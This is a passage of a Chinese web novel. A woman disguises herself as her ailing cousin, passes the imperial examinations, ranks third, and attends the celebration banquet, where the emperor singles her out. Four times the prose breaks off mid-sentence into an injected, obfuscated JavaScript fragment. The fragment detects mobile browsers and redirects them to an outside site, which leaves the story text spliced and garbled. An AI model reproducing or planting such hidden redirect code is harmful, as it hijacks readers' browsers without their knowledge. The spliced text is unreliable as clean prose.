张兰香给傅文松喂完药,傅文松悠悠转醒,他吃力地抬手拉了拉张兰香的衣袖:“娘,别浪费银钱了,你把钱留着跟表妹好好过日子吧。” 张兰香眼中噙泪:“快呸呸呸,这是说的什么丧气话,娘还等着你高中当官呢。” 傅文松头偏向床边,轻声呼唤:“幼宜。” “表哥,我在。”江幼宜在床边蹲下。 “若是我死了,大伯一家怕是要联合族里争抢财产,表哥求你,你能不能……”傅文松欲言又止,他这个想法真的太自私了,可是他努力这十几年,有一半动力都是为了让家人过上好日子,他不能前半生让母亲操劳供他读书,死后再让母亲沦落到无家可归的地步。 “表哥是想要我假扮成你?”古代吃绝户的事情屡见不鲜,更何况大宁律法中没有明确女人继承的合法性,若是表哥大伯一家来抢,于公于私,她跟姨母都抢不过。 相较于傅文松只想让江幼宜女扮男装保全家产,江幼宜有一个更疯狂的想法。 她心中有一团火在烧。 她没有忘记前世她为女孩儿伸张正义写的稿子被男主编改了标题,最后成了杀害女孩儿的利刃! 她没有忘记原主村里人命丧山匪之手,众多女孩被山匪掳走,想要告官却求助无门! 她没有忘记她写的女性成长题材的话本频频被拒,类似狐妖倾尽所有只为让书生金榜题名的故事反倒大受欢迎! 她没有忘记被父母长兄卖掉的小草,命运不能由自己做主,一句父母之命就可以把人推入无尽深渊! 还有已经算是跨越阶级的举人表哥,病卧在床却仍担忧自己的母亲被族亲钻法律漏洞吃绝户。 上至条文律法,下至邻里宗亲,女子毫无独立的生存空间,只能沦为男人的附庸,这皆是因为女子无权! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614389|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江幼宜要改天换地,逆天改命,不为自己,为天下半数之众的女性! “表哥,你只管在家好好修养身体,这次的科举,我替你去考!”四书五经她已经完全掌握,真题她也做过,会试,她有把握一试。 张兰香担忧地看向江幼宜:“幼宜,万一被人发现,这可是要杀头的大罪啊!文松,你快劝劝幼宜,科举等你好起来再去考也是一样的。” “姨母,我不怕死,你们放心,若是哪天我真被发现了,不会连累姨母跟表哥的。”她不怕死,只怕不能肆意地活着。被三从四德规训,被漠视女子生存权利的律法压迫,她早就受不了了,再不做出改变,她只会一点点在这些封建糟粕中窒息而亡。 “娘,表妹的才学远在我之上,只是没有机会证明,就让表妹去试试吧。”傅文松露出一个苍白的笑容,“幼宜,我相信你一定能证明自己,你只管去试。”他这副身体不一定什么时候就油尽灯枯了,表妹的抱负比他更大,若能为官,表妹肯定做得比他还好,他也无憾了。 张兰香擦掉眼泪:“幼宜,你向来主意大,姨母不拦着你,家里你不用担心,只管顾好自己,我跟你表哥在家里等你的好消息。” 江幼宜本来就跟傅文松长得像双生子,穿上男装连张兰香都不能第一时间认出来。她比表哥矮一些,这个在鞋里多垫两层鞋垫就能解决,女子骨架天生比男子小,这个没法改变,只能跟相熟的人说这段时间废寝忘食备考所以消瘦了许多。 表哥之前已经约好了跟李云承和几个同县举子一起进京,这些人里李云承跟表哥最为相熟,好在李云承来过家里几次,江幼宜对他并非一无所知,在最后上路之前,江幼宜也摸清了另外几个人的底细。 一切准备就绪,江幼宜带着张兰香给傅文松收拾好的包袱上路了。 张兰香趁着清晨无人送江幼宜出门:“幼宜,千万小心啊。” 江幼宜一脸坚定:“嗯,姨母和表哥在家也要照顾好自己。”表哥的病要花很多钱,她这一年多写话本也挣了不少钱,留好进京路上的花销,剩下的她都偷偷放在姨母枕头下面了。她早已将两人当做自己真正的亲人,希望她们好好的。 张兰香拉着江幼宜的手摩挲几下,这双手比文松的手要细嫩许多,她的文松从小就经常帮她干农活,手很粗糙:“好孩子,我们在家等你。” “好,我走了姨母。”江幼宜踏着晨曦,朝与其他人约定的地方走去。 表哥性格沉默寡言,江幼宜假扮起来并不难,只需一路拿着书复习即可。 旁人看学霸都如此认真也都不好意思闲聊,纷纷拿起书加入学习小组,大家只在探讨学问的时候开口,如此这般废寝忘食抵达京城,一行人踏上这片土地的时候不约而同少了几分忐忑。 从提前到京城准备会试到殿试考完,这期间要在京城住好几个月,为了控制开销,他们合伙在京城边缘租了个院子,一边复习一边等待会试开考。 5. 惊险 江幼宜把一路偷偷摸摸背着人写好的话本塞到怀里,敲了敲李云承的房门:“云承,我出去打探下消息,若有人找我,你跟他说一声。” “我跟你一起去吧。”李云承一把拉开房门,眼睛亮晶晶的。一路都在读书读书,他人都快读傻了! 江幼宜板起脸:“云承,会试在即,你对取中有几分把握?” 李云承眼中的光消失,垂头丧气:“好吧,我接着练习。” 到京城之后,江幼宜出了几套模拟题,让他们按照会试的时间要求轮着做,大考在即,怎么能不进行模拟测试呢? “嗯,回来我帮你批阅。” 江幼宜成功溜出院子,一路打听着朝京城最大的书铺去。自从穿来第一天因为没钱吃饭被包子铺老板驱赶之后,江幼宜已经无法再次忍受那种尴尬和窘迫,她手里必须留有足够支配的钱才能安心。 “老板,这里有最新的‘画中仙’的话本,收不收?” 书铺老板打量着书生模样的江幼宜:“你就是画中仙本人?” “我不是,‘画中仙’向来不以真面目示人,这是‘画中仙’委托我带来的。” “我先看看稿子。” 江幼宜从怀里把稿子掏出来,取了前半部分递给书铺老板:“给。” 老板仔细翻阅后点点头:“确实是‘画中仙’的文风不错。我收了,100两。” “老板,这100两是县城的市价,您若不是诚心收,请把稿子还我。”开玩笑,这京城的物价跟她们县城比都要翻番了,这老板还按县城的价来收她的话本,要知道‘画中仙’的话本那可是销量保障。 “公子别着急啊,若是公子不满意这个价格,我们还能再商量,150两如何?” “280两,不收我去找别家。” “280两实在是太高了,250两吧。” “250两不好听,266两最低价,再少我真不卖了。” “成交。若公子之后还有‘画中仙’的话本,只管送来。”老板乐呵呵将几张银票和碎银子递给江幼宜。 “你的话我会转达。”江幼宜把剩下的稿子交给老板,揣好钱出了书铺。 对面茶楼二楼窗边正坐着一位锦衣华服的公子,透过打开一点的窗口,那人正好看到江幼宜跟书铺老板的交涉过程,江幼宜的身形让他有莫名的熟悉感。 他目视着江幼宜远去的背影,端着茶杯朝旁边抱剑站立的黑衣男人一动手指,黑衣男人领命下楼进了对面书铺,不多时,黑衣男人朝锦衣公子呈上一沓稿子。 锦衣公子修长的手指缓缓翻阅着书稿,将这篇故事从头看到尾,最后落款‘画中仙’。他看着落款,微微眯了眯眼眸,轻声道:“去查查。” 锦衣卫要查谁,祖宗八代都能扒得清清楚楚,江幼宜“画中仙”的身份和她替病弱表哥进京赶考的事自然是没几天就被呈上了御案。 御案上除了江幼宜的底细,还有两份书稿,一份是随侍太监执笔,一份是江幼宜自己执笔。 谢怀川把江幼宜执笔的那份递给旁边的太监:“誊抄一份。”他点了点江幼宜那份,“这份留下,另一份给书铺还回去,别耽误人家做生意。” “是。”小太监捧着书稿退到一旁去誊抄。 谢怀川斜靠在椅背上,曲肘撑在扶手上,手指抵着下巴,朝御案前的汪霖道:“你说若是这朝堂上多出一个寒门女官,得多有意思啊。” “属下明白!” 隔日,宫中传出消息,陛下最近不爱钓鱼,爱上了话本子。 进场考试需要宽衣查看是否有夹带,前面也不乏有招致怀疑被领到一旁全脱的,江幼宜为了隐藏身份围了裹胸,眼看着马上要轮到自己,她攥紧了拳头,千万不能紧张,自然一点就不会被怀疑。 江幼宜先把考篮递给官兵,翻看没有异样之后解开大氅,官兵先是翻开她的袖口,又在她身上从上到下摸了一遍。 “这是什么?你进那间屋里去!”官兵把她的考篮放到一边,指着旁边的一间屋子。 难道她连考场都进不去吗? “怎么了?”一个身穿御赐飞鱼服戴无翅官帽的男人走了过来。 官兵冲他行礼:“汪大人,这个考生服装有异,怀疑有夹带。” “哦?竟有此事?”汪霖指了指旁边矮他一头的下属,“你去看看。” 江幼宜面上故作镇定,心已经跳到嗓子眼了。 “属下领命!”汪霖下属握着绣春刀,粗鲁地把江幼宜拉到另一间屋子里。 那人一进门就拿刀指着江幼宜:“脱!” 江幼宜明白自己大概就止步于此了,说不定还要落得个杀头的下场,她一边思考改怎么说才能不连累姨母和表哥,一边把外袍脱下,她刚要继续去脱中衣,那人用刀背把她的手拨到了一边,把刀收回刀鞘走上前来。 江幼宜吞咽了一下,难道这人是嫌她太慢了要自己动手? 那人上前隔着衣服上上下下检查了一番,对她前胸后背不正常的衣服厚度视若无物。 检查完之后,那人抬头,江幼宜才发现,这人没有喉结,好像是个女子:“你……” 那人打断江幼宜的话头:“没有夹带,穿上衣服出去吧。” 江幼宜虽然对现在的情况一头雾水,但她知道机不可失,她火速穿好衣服走出屋子,那人跟在她身后一起出来:“禀告大人,此人只是怕冷多穿了一层衣服,并无夹带。” 汪霖点点头:“嗯,你们若不放心,自然可以再检查一遍。”说完就带着下属离开了。 官兵赶忙行礼:“恭送汪大人。” 汪霖走远之后,官兵拿起江幼宜的信息查看一番,来自偏远的北方州府,跟汪家八竿子打不着,再说锦衣卫在民间向来风评不好,读书人最是清高,就算攀附权贵也不会有人想不开去结交锦衣卫。 他把考篮还给江幼宜:“你进去吧。” “多谢官爷。”江幼宜拎着考篮进去找她的号舍,她与锦衣卫素无瓜葛,为什么帮她呢? 想不明白就不想了,若是对方有什么目的,以后自然会找上门来。 试题下发,江幼宜按照现代上学时的习惯,先把所有考题看了一遍,策论题被她押中了,是一道有关洪水治理的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614390|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题目。 去岁夏,青州连日暴雨,临江水位暴涨,冲毁堤坝,淹没了沿岸村落,伤亡高达数万人,如此庞大的伤亡人数,跟年年都在修的江堤是豆腐渣工程有关,也跟防汛治汛的策略落后有关。 看过真题就知道,策论考的大部分题目都跟考前发生的天灾人祸相关,她在表哥备考的时候就有意在替表哥收集这些民间新闻,她这也算误打误撞替自己备考了一番。 当然去年不止发生了这一次自然灾害,只是这一场伤亡最严重,其中涉及的贪腐案,至今没有查完。 她沉下心,开始从头答题。 人在专注的时候时间会过得很快,一晃三天过去,已经有人陆陆续续开始交卷,江幼宜最后检查一遍自己的答题纸,确认没有问题,也跟着交卷。 会试如果被取中,一个月后的殿试也不会再落榜,只会重新划分排名。殿试江幼宜一点都不担心,因为殿试只考策论,正好考在她心巴上。 “主编,为什么把我这篇稿子的标题改了?”江幼宜努力控制情绪,隔着办公桌跟领导沟通。 她对面的男人靠在椅背上,两手一摊,耸了耸肩:“但流量很好不是吗?” 男人无所谓的态度无异于火上浇油,江幼宜站在办公桌对面,怒视男人:“把施暴人从标题里抹去,用受害人做主语,根本就不符合这篇稿子的撰写目的!” “先把大众的目光集中到这篇稿子上,才会有人去看你的内容,你原来的标题没有一丝让人点进去看的欲望,没人看就是一篇废稿。”男人点燃一支烟,放在嘴边吸了一口,另一只手玩弄打火机的盖子。 江幼宜屏住呼吸,一拍桌子探身向前:“现在所有人都在讨论受害者,施暴者却美美隐身,这是对受害者的二次伤害!为了流量当标题党,连良心都不要了吗?!” 男人冷漠的面孔隐没在缭绕的烟气里:“如果她真的完全没问题,怕什么讨论呢?” 江幼宜听到这句话的瞬间,感到自己的脑袋在膨胀,眼前陷入黑暗,她努力张口,却发不出声音,不是这样的,该被声讨的是施暴者才对! 一阵急促的拍门声响起。 “文松,文松,你醒了吗?我们得抓紧点,千万不能迟到。”李云承身着深蓝袍服站在门外焦急喊道,不停拍着门,时不时还扒着门缝往里看。 江幼宜被拍门声吵醒,猛地睁开眼睛坐起来,呼吸急促,梦中的无力感余韵尚存。 李云承还在锲而不舍地敲门,她穿好衣服下床,终于把门打开了。 “哎呦文松,你可真淡定,今天是什么日子啊你也睡得着,快点去洗漱。”李云承推着江幼宜往屋里去,抬手示意书童把水盆放到面盆架上。 江幼宜捏了捏眉心:“抱歉,我睡得太沉了。” 一起结伴进京赶考的人里只有她和李云承过了会试,其他人早在会试放榜后就回去了,现在殿试也已经考完,只等今天传胪大典上公布最终的名次。 江幼宜匆忙洗漱,李云承见状连忙道:“没事没事,你也不用这么着急,时间还早,嘿嘿,我就是一想到今天是传胪大典,太激动了。” 6. 传胪大典 江幼宜洗漱完毕,更换好进士巾袍,李云承调侃道:“嘿,明明是一样的衣服,你穿起来怎么比我好看这么多?” 进士巾是黑色的,两边簪翠叶绒花,进士袍是深蓝色罗袍,青罗边缘,圆领大袖。江幼宜虽身形瘦弱,个头不算太高,但唇红齿白,气质文雅,配上这身广袖长袍,一点儿不像农家子,倒有几分清贵小公子的风范。 “那是当然。”江幼宜看着铜镜里那张跟前世一模一样的脸,毫不谦虚收下夸赞。 “旁人总说男人有钱就变坏,这才哪儿到哪儿,你就变得脸皮这么厚了,从前那个清冷疏离的文松哪儿去了?” 李云承说者无意,江幼宜听者有心。 江幼宜仔细观察李云承,发现他真的只是在开玩笑,而不是怀疑自己换人了。 她悄悄松一口气,不过让她一直伪装成表哥的性子实在太为难她了,索性趁此机会换个人设。 她模仿表哥的语气:“官场和书院是两个截然不同的世界,在书院我们只需要潜心读书备考科举,人际关系没那么重要,官场却不一样,除了会做事,还得会说话,当然并非是阿谀奉承,只是通过一些语言艺术达成自己的目的。” “天哪,文松,没想到你读书有一套,做官也有一套啊。” “世事洞明皆学问,人情练达即文章。”①想到这个世界还没有《红楼梦》,江幼宜赶紧补充了一句,“这是我偶然在书中看到的一句话,我觉得非常有道理。” 官场和职场一样,只不过成功了一个升官发财,一个升职加薪,而失败了一个人头落地,一个卷铺盖走人。 李云承了然地点点头,他非常明白“傅文松”的迫切,因为“傅文松”家境贫寒,母亲一个人供他读书不容易,之前拼命读书也是为了挣个好前程,改变他和母亲的命运,现在又学如何做官,好尽早在官场上混出头,他懂,他都懂。 两人走出院子,今天要面圣,不能吃味道重的食物,只在巷子里买了几个馒头做早餐。书童约好的马车停在巷子口,马鞭轻轻一挥,马儿哒哒哒朝着长安门的方向跑去。 这个巷子距离皇宫很远,马车还得赶半个时辰才能到。江幼宜就着水啃完馒头,靠在马车上闭目养神。 终于有惊无险以表哥的名义熬过最后的考试,漫漫求学路总算在今天有了结果,她让同乡帮她捎了一封信回去,不知道姨母在家怎么样,表哥的身体有没有好一些? 马车停下,车夫道:“二位郎君,长安门到了。” “多谢。”江幼宜已经调整好状态,率先走下马车。 巍峨的宫门、高耸的宫墙还有门口庄严肃穆的官兵昭示着皇权的威严,这里不是可供随意参观的景区,而是没有硝烟的战场。 她和李云承对视一眼,双双低头检查衣服配饰有无不妥,沉默着走向宫门。 此次会试共取二百七十三人,大家穿着统一的进士巾袍在太和殿前按照会试名次站队,李云承名次靠后,率先排在后面,江幼宜沿着队伍往前,排在第四个。 现场氛围异常庄重,没人敢说话。时辰一到,典礼开始,传胪官高声唱名,一甲第一名顾靖川、一甲第二名王砚秋、一甲第三名傅文松…… 站在江幼宜身前的人听到一甲三人没有自己的名字,暗自攥紧拳头,指甲深深嵌入手心。 江幼宜第三个走进太和殿,根据殿内太监的提示磕头行礼。没什么膝下有黄金的执着,若想成为其中的佼佼者,首先得融入。 “平身,赏。”清越如击玉,泠泠动人心,江幼宜一直知道当朝皇帝很年轻,现在听到这个声音,她终于对皇帝的年轻有了实感。她没有抬头好奇皇帝的长相,这种场合直视天颜是大不敬,她还不想功名未得身先死。 皇帝的赏赐是一百两银子,她跪地谢恩后垂首站在殿内,然而并没有人给她送来赏银。 她用余光偷瞄比她早进来的两人,发现他们手里也没有任何东西。哦,赏银不是当场发的,遂收回目光安静等待后续流程。 听到李云承的名次是二甲最后一名的时候,江幼宜忍不住弯起嘴角,帮他从会试倒数冲进二甲之列,也算替表哥报答一番李云承在县学的帮助吧。 江幼宜从进殿开始就垂着头,丝毫不知道她殿试的文章在前一天引起了轩然大波,以致于她从进殿后的一举一动都被上面一圈人密切关注着。 此次殿试的文章仍然是民生主题,江幼宜作为一个新闻工作者,接触过的民生新闻数不胜数,她所书策论均是从百姓立场出发,用词平实朴素,可实施性极强,本应是殿试榜首。 高台上的人神色各异,有人看到江幼宜听到赏赐后偷瞄旁人,不由暗中嗤笑农户之子真是上不得台面;有人看着江幼宜排在第三位,不住凝眉。 传胪官唱名完毕,一甲三人、二甲一百二十人、三甲一百五十人,所有人行三跪九叩之礼,之后众人依次后退出殿,由状元带头,走御道出宫,打马游街,到圣人庙举行祭礼。 “果然是乡野村夫,居然连马都不会骑。”一个同样穿着进士巾袍的矮瘦男人抱臂站在人群里嘲笑江幼宜的上马姿势。 江幼宜闻言没有停顿,继续在侍卫的帮助下翻身上马。她确实不会骑马,而且这马没有马鞍,又是特意为游街选出来的高头大马,她又不是武探花,一下上不去很正常。 她在马上坐稳,居高临下看向那个出声的人,面带微笑:“阁下莫不是因为没考过我这个乡野村夫无能狂怒了?” “你……” “不要误了祭祀吉时。”一道沉稳的声音响起,语气中暗含警告之意。 矮瘦男人看到出声的人立马噤声,老老实实排在队列里,步行跟在三匹高头大马后面。 街道两侧和商铺楼上全都是人,而此次一甲三人又都年轻俊美,状元清冷矜贵,榜眼风流倜傥,探花温柔和煦。 假的,马背上没有马鞍,马走起路来背上的骨骼一耸一耸的有点硌屁股,四周还有不时飞来的“暗器”,江幼宜害怕掉下去,浑身都绷得很紧,完全笑不出来。 她为了维持脸上的假笑,嘴角都要抽筋了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614391|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “春风得意马蹄疾,一日看尽长安花。”②她看向前面轻松御马的两人,或许只有那俩人感触最深吧。 祭祀典礼结束,江幼宜和李云承回到租住的小院,不多时,小院来了一队人马。 “傅大人,这是陛下赏赐的银两和袍服。”一个面无白须笑意盈盈的太监递给江幼宜一个木盘。 “谢陛下恩典。”江幼宜跪在最前面,李云承和小院的其他人跪在江幼宜身后。 江幼宜伸手接过木盘,同时眼疾手快悄咪咪递给太监一个荷包:“有劳公公了,不过在下尚未有一官半职,还当不得公公一句‘大人’。” “哈哈哈,傅大人年少有为,明天恩荣宴后自有大好前途,提前一天喊喊又有何妨。”太监的手掩在袖子里捏了捏荷包,露出更为亲切的笑容,他指着木盘上的袍服道,“这衣服是陛下特意赏赐给一甲三位大人的,恩荣宴上风光无限,傅大人好好准备吧。” 自殿试看了“傅文松”的答卷,陛下就频频关注“傅文松”,不仅银两赏的比以往多,连以往只有状元才能得的赐服都改成了一甲三人都有,太监脸上笑意更深,这个傅大人怕是已经入了陛下的眼了。 江幼宜垂着头,并未注意到太监眼中的深意。太监一挥拂尘,转身离开了,院子内外的禁军随之离开,氛围一下子松快不少。 李云承上前,用胳膊轻轻撞了一下江幼宜:“这下好了,有了这些御赐的银两,你就可以租个离翰林院近一点的房子了。” 按照从前惯例,一甲前三名通常是状元授从六品翰林院修撰,榜眼探花授正七品翰林院编修,二甲和三甲等待吏部授官,通常三甲只有被外派的份儿。 “你是怎么打算的?”江幼宜看向李云承。 吏部授官这里面可操作性很强,没点背景,就算是二甲也有可能被分到穷山恶水的地方去,一辈子升迁无望。 “我?我倒是想跟你一起留在京城,可是我家只是普通商贾,官场上一点儿话都说不上,尤其这还是高官富贾遍地的京城,那点钱拿去打点,人家都不一定看得上。”李云承没骨头似的靠在江幼宜身上,江幼宜伸手把李云承推着站直。 李云承没有在意,他想得很开,留在京城有留在京城的好,能继续跟好友一起,天子脚下机会也多;外派也有外派的好,去做个一县之主什么的,没那么多掣肘。 “你要想留在京城,可以去参加朝考。”历来非一甲不入翰林,不过在大宁朝,非一甲的新科进士在授官前还有机会通过朝考进入翰林院。在这个陌生的世界,李云承是她认识的为数不多的人之一,如果两个人能同时留在京城,多少有个照应。 这个时代路遥车马慢,一旦李云承被外派做官,一别可能就是一辈子。 “倒是个好办法,不过你也知道我的水平,不一定能考得上。”李云承拽着江幼宜的胳膊摇了摇,“好兄弟,又得靠你了。” 若是别的,江幼宜没那个水平肯定不能答应他,不过现在嘛…… “没问题,包在我身上。”江幼宜拍拍胸脯。 7. 恩荣宴 次日,江幼宜和李云承着装好去赴恩荣宴,在皇宫外下了马车。 昨日传胪大典之后,这一届的科考录取名单就张榜在宫门外,眼下榜单那边吵吵嚷嚷,不知在争论什么。 江幼宜和李云承没去凑热闹,虽说皇帝不参加恩荣宴,但宴上的其他勋贵朝臣也不是他们能得罪得起的。 本就吵嚷的人群中突然响起一道更高的声音:“这傅文松是谁啊?临西府?前两名出身国子监,又素有才名,我们南直隶也算输得心服口服,可这第三名怎么是个北方犄角旮旯里的人?还有这前二甲里取中的南方人怎么比上一届少了那么多?” “哎,这人怎么说话的?”李云承听到这句话立马停下脚步,转身就要往人群那边去。 江幼宜赶紧伸手拉住他:“云承,别冲动,旁人爱说就让他说吧,我们不要耽误了正事。” 这人明显带着挑事的语气,想要通过挑起南北对立来质疑榜单的公平性,在她面前想玩舆论引导那一套,算他踢到铁板。 这个人八成是今年会试落榜的南直隶考生,被人当枪使了。 会试榜单不质疑,殿试榜单出来才质疑,说明背后指使他的人殿试名次下滑了,而且还指名道姓的,江幼宜心中已有猜测。 她回头看了一眼,那边已经吵嚷得更厉害,引得官兵拔刀维持秩序了。 自前朝大儒致仕归乡,在南直隶兴办起石麓书院,官场上来自南方的文人越来越多,不知从什么时候开始,形成了南北文人争榜的风气。 而目前朝堂上也形成了以国子监出身的顾首辅为首和以石麓书院出身的孙次辅为首的两大文官集团,两方矛盾大到连江幼宜这个没在朝为官的人都知道。 顾首辅兼任吏部尚书,妥妥的文官之首,其影响力不言而喻,所以近几年官场上北方文人更占优势。 一般首辅不会兼任吏部尚书,吏户礼、兵刑工,吏部的地位从这个排序就可见一斑,若是首辅兼任了吏部尚书,那是真真正正的大权在握。为什么顾首辅可以,那就不得不提他另一层身份,当今皇帝的外公,太后的亲爹。 至于他们之间的关系,民间传言诸多,眼下江幼宜还是把目光放到这个挑事儿的人身上。 这个人真是蠢得没边,也不怪他会被人当枪使,这里是京城,国子监就在离这里不远的地方,他在北方当众瞧不起北方人,是嫌自己树敌不够多吗? 江幼宜收回视线,既然知道是谁在针对她,防着点就是了。 恩荣宴的举办地点在礼部衙门,主席空着,一甲三人一席,其余人按名次四人一席,除读卷官和礼部尚书一人一席,其余官员两人一席。 已经到场的均是新科进士和低级官员,大家聚在一起三三两两交谈着,场面倒也和谐。 江幼宜和李云承进场后各自去找自己的席位准备入座,一甲的席位上已经有两个人在了。 “傅兄。”状元顾靖川率先朝江幼宜拱手。 “顾兄,昨天多谢了。”顾靖川就是在江幼宜被嘲乡野村夫不会骑马那会儿开口制止的人。 “不足言谢,我只是看不惯这种因为投胎到好人家就自觉高人一等的行为罢了。” 榜眼王砚秋把头从另一边扭回来瞪着顾靖川,两个人刚刚似乎是在置气:“说起身份地位,谁人比得上顾大公子啊。” “王兄。”江幼宜朝榜眼王砚秋拱手见礼。 王砚秋一把将江幼宜拉过来,按在座位上:“傅兄,我们来聊天,不要搭理他。” 江幼宜轻轻一笑,摇摇头坐了下来。 “考不过我,这是又要拉着旁人孤立我?” “你!”王砚秋此刻很像一只炸毛的小肥啾,脸气得通红,“反正我不跟你说话!”他把头扭向江幼宜这边。 江幼宜怕自己憋不住笑出声,会让王砚秋更加生气,连忙转移话题:“王兄,我初来京城,不知道京城有没有什么好吃的或者好玩的?” “嘿,这你可问对人了,我跟你说,要说这京城最好吃的当属明月楼……”王砚秋滔滔不绝,话题一路从美食聊到郊外的马场,“我家在城郊有庄子,等我们休沐的时候一块儿去玩啊。” “顾首辅到、秦尚书到。” 现场瞬间安静,众人齐齐起身躬身行礼,江幼宜垂着头,看到穿着一袭绯色官服,脚踩黑色皂靴的人在她面前经过,去了上首。 顾松涛落座,环视一周后开口:“大家都坐吧。” 众人齐齐开口:“谢阁老。” 这一句之后再无人说话。 这种饭局没那么严肃,她悄悄偷瞄一眼应该没人会发现吧。 江幼宜借着喝茶的动作抬头看向这位传闻中一人之下万人之上的首辅,结果正对上对方视线,对方似乎也在打量她?还没等江幼宜做出反应,对方先移开了视线,吩咐道:“开宴吧。” 江幼宜垂下头,安静盯着眼前的桌面。这位首辅看年纪有五六十岁,留着两撮胡子,神色严肃,眼神犀利,不苟言笑,给她留下的第一印象是久居上位,固执己见,不好相处。 等菜品一一上桌,教坊司表演起歌舞,在礼部尚书秦鹤白的带头下,现场的氛围终于有所松动,大家渐渐开始小声交谈,互相敬酒。 “是不是看起来很吓人?”王砚秋突然凑到江幼宜耳边悄声道。 “啊?什么吓人?” “就是顾首辅啊。”王砚秋跟江幼宜小声嘀咕。 顾靖川在另一边伸手拍了王砚秋肩膀一下,王砚秋吓得一抖,扭头怒视顾靖川,压低了声音:“你拍我干嘛?” “你当着我的面说我祖父的坏话,我还不能拍一拍你了?” “哼,真讨厌。”王砚秋把头扭回来,“傅兄,我跟你说,这个酒你一定要尝尝……” “大家尽情宴饮,本官还有要事在身,先走一步。”教坊司一曲表演完,上首的顾松涛突然开口。 “皇上驾到。” 刚活跃起来的气氛再一次跌至冰点,怎么回事?他们这位皇上不是从来不出席恩荣宴吗? 众人起身下跪,只能看到一双白色皂靴从眼前经过,在路过一甲那席的时候脚步似乎慢了半拍。 “怎么朕才刚来,外祖就要走?”清越动听的声音里还带着笑意,但江幼宜听着却感觉不到话语里的温情。 “陛下恕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614392|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪,内阁里还有许多奏折没看,在宴上久留恐耽搁明日早朝。”说着恕罪,话里话外却听不出他身处下位敬意。 皇帝轻笑一声,叹道:“外祖真是一心向政,殚精竭虑,既如此,那外祖去吧,别误了家国大事。” “臣告退。” 一堆人上来直接把主席的桌子同菜一起搬走,重新抬上来一张,布了一桌新菜。 等皇帝坐下,他歉声:“看朕这记性,只顾着跟外祖说话,把大家给忘了,众爱卿快快平身吧。” “谢陛下。” 看着众人入座之后无人敢动,皇帝拿着酒杯把玩:“怎么外祖在的时候大家有吃有喝欢声笑语的,换了朕来就不吃不喝成哑巴了?难不成朕比外祖还要吓人?” 这话一出本就安静的宴会针落可闻,良久,礼部尚书秦鹤白率先出列下跪:“陛下恕罪。” 其余人像刚反应过来一样,纷纷跟着下跪,话还没出口,皇帝开口:“啧,行了,每天都是这一套,听得朕耳朵都要起茧子了。” 他把酒杯放回桌子上,“咔哒”一声:“都坐回去吧。” “谢陛下。” “你,给朕作首诗听听。”皇帝下巴一抬。 江幼宜看着上首的人愣住,她想过能发出那样悦耳声音的人一定长得不差,只是没想到这么好看。皎皎如月,清冷若雪,一身白色广袖长袍,乌黑长发用玉冠束起,宛若超凡脱俗的仙人。 只是对方蹙起的眉头和逐渐不耐的神色破坏了这份美感,从仙人变成了凡人。 “就是你,发什么呆?”谢怀川看着江幼宜。 江幼宜回过神,这是她今晚第二次偷看被抓包了,没等她想明白为什么会这样,就被皇帝的话砸愣了。 作诗?表哥可以,她不行啊,会试那首还是抓耳挠腮许久硬憋出来的,但是现在既不能跟皇帝说不行,也不能让皇帝等太久…… 江幼宜略一思索,新闻稿也讲究对仗工整:“霞光映堂内,起舞贺恩荣;丹墀承紫气,御口彰贤名。簪花浅弄墨,把酒话民生;秉笔抒胸臆,山河与君同。” 新闻六要素:时间、地点、人物、起因、经过、结果,还有价值上升,齐活! “风格倒是新鲜,不错。”皇帝多看了江幼宜一眼,并未做更多评价。文章、字体和外形都能模仿,诗风却不行,作诗更多靠灵气,短时间内模仿不来,百密一疏。 谢怀川端起茶盏,眉眼隐没在阴影里,不知这小狐狸在一堆老狐狸中间能隐藏多久。 “傅兄,你好厉害呀!能在这么短时间内作出一首诗!”王砚秋悄声惊叹道。 顾靖川也开口夸赞:“是啊,傅兄,你的诗风格自成一体,看来这天下又要多出一种新诗体了!” 